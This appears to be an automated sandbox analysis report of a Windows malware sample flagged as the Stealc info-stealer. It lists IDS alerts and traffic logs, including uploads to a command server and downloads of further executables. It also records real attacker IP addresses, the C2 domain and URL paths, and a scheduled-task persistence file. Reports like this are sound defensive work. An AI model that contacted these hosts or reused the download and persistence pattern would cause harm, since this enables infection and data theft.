r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22C78B45182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 172.67.165.185 172.67.165.185

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.165.185:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TKJF5EY6TB8IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18127Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VORPMJMCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8724Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2AXWIMCJALAQONUJ4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20431Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BWPEZC3FDGW4BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1229Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=V8SRBM714NHP033PVSGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 550232Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

Code function: 5_2_0076E0C0 recv,recv,recv,recv,

5_2_0076E0C0

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: mindhandru.buzz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001027000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001029000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeb
Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001027000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001029000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001036000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeCZ
Source: o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/~
Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exe
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Q
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/X
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php$
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/i
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpi
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: skotes.exe, 00000009.00000002.2936960867.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000009.00000002.2936960867.000000000143B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000009.00000002.2936960867.0000000001478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6
Source: skotes.exe, 00000009.00000002.2936960867.0000000001478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8
Source: skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpE
Source: skotes.exe, 00000009.00000002.2936960867.0000000001478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpL
Source: skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000009.00000002.2936960867.000000000148E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: o0cabS0OQn.exe, 00000000.00000003.1914665232.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: o0cabS0OQn.exe, 00000000.00000003.1811504071.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: o0cabS0OQn.exe, 00000000.00000003.1835605536.0000000005628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: o0cabS0OQn.exe, 00000000.00000003.1914747251.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: o0cabS0OQn.exe, 00000000.00000003.1859231609.00000000010A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiC
Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001036000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1914747251.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apines
Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001036000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiz2s
Source: o0cabS0OQn.exe, 00000000.00000003.1994718147.000000000108C000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1995429321.00000000010A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/d
Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.000000000100C000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1914747251.000000000100C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: o0cabS0OQn.exe, 00000000.00000003.1914747251.000000000100C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ts
Source: o0cabS0OQn.exe, 00000000.00000003.1835605536.000000000562F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api%%
Source: o0cabS0OQn.exe, 00000000.00000003.1766024007.0000000005682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: o0cabS0OQn.exe, 00000000.00000003.1788244288.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1788397217.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1766146853.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1766024007.0000000005682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: o0cabS0OQn.exe, 00000000.00000003.1766146853.0000000005656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: o0cabS0OQn.exe, 00000000.00000003.1788244288.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1788397217.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1766146853.000000000567B000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1766024007.0000000005682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: o0cabS0OQn.exe, 00000000.00000003.1766146853.0000000005656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: o0cabS0OQn.exe, 00000000.00000003.1765348295.000000000566F000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765414691.000000000566C000.00000004.00000800.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1765543530.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: o0cabS0OQn.exe, 00000000.00000003.1812497418.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49741 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.E7IQS7PV5U0JQO6HRY65DRS.exe.6f0000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: o0cabS0OQn.exe	Static PE information: section name:
Source: o0cabS0OQn.exe	Static PE information: section name: .idata
Source: o0cabS0OQn.exe	Static PE information: section name:
Source: E7IQS7PV5U0JQO6HRY65DRS.exe.0.dr	Static PE information: section name:
Source: E7IQS7PV5U0JQO6HRY65DRS.exe.0.dr	Static PE information: section name: .idata
Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: section name:
Source: ECPOM47708SKW2N887NP33WQCGSG.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Code function: 0_3_0563501B	0_3_0563501B
